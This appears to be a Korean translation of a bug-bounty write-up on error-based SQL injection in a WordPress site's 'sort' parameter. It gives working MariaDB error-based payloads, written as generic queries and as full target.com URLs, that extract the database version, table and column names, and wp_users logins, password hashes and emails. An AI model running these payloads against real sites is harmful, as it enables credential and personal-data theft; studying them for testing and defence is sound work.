출처 : https://ynoof.medium.com/error-based-sql-injection-on-a-wordpress-website-and-extract-more-than-150k-user-details-f65f987c2cc0
해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.
Error Based SQL Injection
[정의]
1. 의도적으로 에러를 유발
2. 내가 원하는 에러 메세지를 출력되도록 유도
참고 : https://sang-gamja.tistory.com/26?category=734915
공격자는 우선 wordpress를 타겟으로 공격을 진행하였다고 한다. 이때 공격에 사용되는 url은 target.com으로 진행한다.
우선 공격자는 싱글쿼터('), 더블쿼터("), 슬래쉬(/), 해쉬(#) 등을 이용해 해킹을 시작한다.
공격자는 우선 아래와 같은 공격을 진행했지만 페이지에 보여지는 것은 없었다고 한다.
https://target.com/pages/?sort=1
https://target.com/pages/?sort=1'
보통은 여기서 아무것도 일어나지 않는다면 무심코 지나치겠지만 페이지 소스를 열어 아래와 같은 에러가 발생하였다는 것을 알았다.
<div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\\\\\\' ASC LIMIT 10 OFFSET 4120' at line 6]<br /><code>
SELECT
p.*,
c.Name as CategoryName,
c.Slug as CategorySlug,
c.Code as CategoryCode,
(CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != "rejected" AND p.Status != "pending" GROUP BY p.Id ORDER BY p.1\\\\\\' ASC LIMIT 10 OFFSET 4120</code></p></div><!DOCTYPE html>
에러 내용에서 limit가 초과되지 않았다는 것을 알았기에 에러를 없애기위해 아래와 같은 시도를 진행하였다.
https://target.com/pages/?sort=1'--
https://target.com/pages/?sort=1'-- -
https://target.com/pages/?sort=1'/
https://target.com/pages/?sort=1'#
하지만 에러는 고쳐지지 않고 아래와 같은 에러가 떴다.
WordPress database error: [Unknown column 'p.1' in 'order clause']
SELECT
p.*,
c.Name as CategoryName,
c.Slug as CategorySlug,
c.Code as CategoryCode,
(CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != "rejected" AND p.Status != "pending" GROUP BY p.Id ORDER BY p.1 ASC LIMIT 10 OFFSET 4120
이 에러는 [Unknown column p.1 in order clause]이다.
따라서 sort 파라미터의 값을 대신하기 위해서 위 에러메세지에서 알아낸 UpvoteCount, DownvoteCount, CategoryId, AggregatorId, Status, Id 중 하나를 선택해서 진행한다.
https://target.com/pages/?sort=CategoryId
이때 소스페이지에는 에러가 나타나지 않았고 성공적으로 에러를 고쳤다.
우리는 UNION SELECT가 먹히지 않을 때 컴파일된 쿼리를 사용해 동작을 진행할 수 있다.
우리는 아래와 같은 Error-Based Query를 사용할 수 있다.
a. The Used Select Statements Have Different Number Of Columns.
b. Unknown Column 1 or no columns at all (in webpage and page source)
c._error_ #1604
A. Knowing the DB Version
아래와 같은 쿼리로 DB Version을 얻을 수 있다.
and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)
작성자의 경우 아래와 같은 쿼리로 진행하였다.
<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)
따라서 우리는 버전을 획득할 수 있었다.
10.3.14-MariaDB
B. Getting the DB Name
우리는 아래와 같은 쿼리로 DB 이름을 알아낼 수 있다.
and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)
모든 데이터베이스를 추출하기 위해서 limit 함수를 증가시킨다
예) limit0,1 or limit1,1 or limit2,1...etc
작성자의 경우는 아래와 같이 진행했다.
<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)
DB Name 결과는 아래와 같다.
prd2
C. Getting the table naems
우리는 아래와 같은 쿼리로 테이블 이름을 알 수 있다.
and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
작성자는 아래와 같은 쿼리를 진행했다.
<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
획득한 테이블 이름은 아래와 같다.
[Duplicate entry 'wp_mail~1; for key group_key]
limit를 쓰지않고 획득하려면 아래와 같은 쿼리로 얻을 수 있다.
CategoryId+and (select 1 from (select count(*),concat((select(select substring(group_concat(table_name),1,150)) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)
만약 substring 함수가 동작하지 않으면 substr 또는 mid 함수를 사용해라.
작성자는 테이블 이름 중 wp_users의 컬럼에 접근하려 한다.
D. Getting columns from wp_users table
우리는 아래와 같은 쿼리로 컬럼에 접근할 수 있다.
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
작성자는 아래와 같은 쿼리를 사용하였다.
<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
획득한 컬럼은 아래와 같다.
ID
user_login
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name
Extracting the data from columns
우리는 데이터를 아래와 같은 쿼리를 사용하여 얻을 수 있다.
<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email) as char),0x7e)) from prd2.wp_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
또는 limit 함수를 사용하지 않고 아래와 같은 쿼리를 사용하여 데이터를 얻을 수 있다.
CategoryId+And(select 1 from(select count(*),concat(0x3a,(select substr(group_concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email),1,150)from prd2.wp_users),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)z)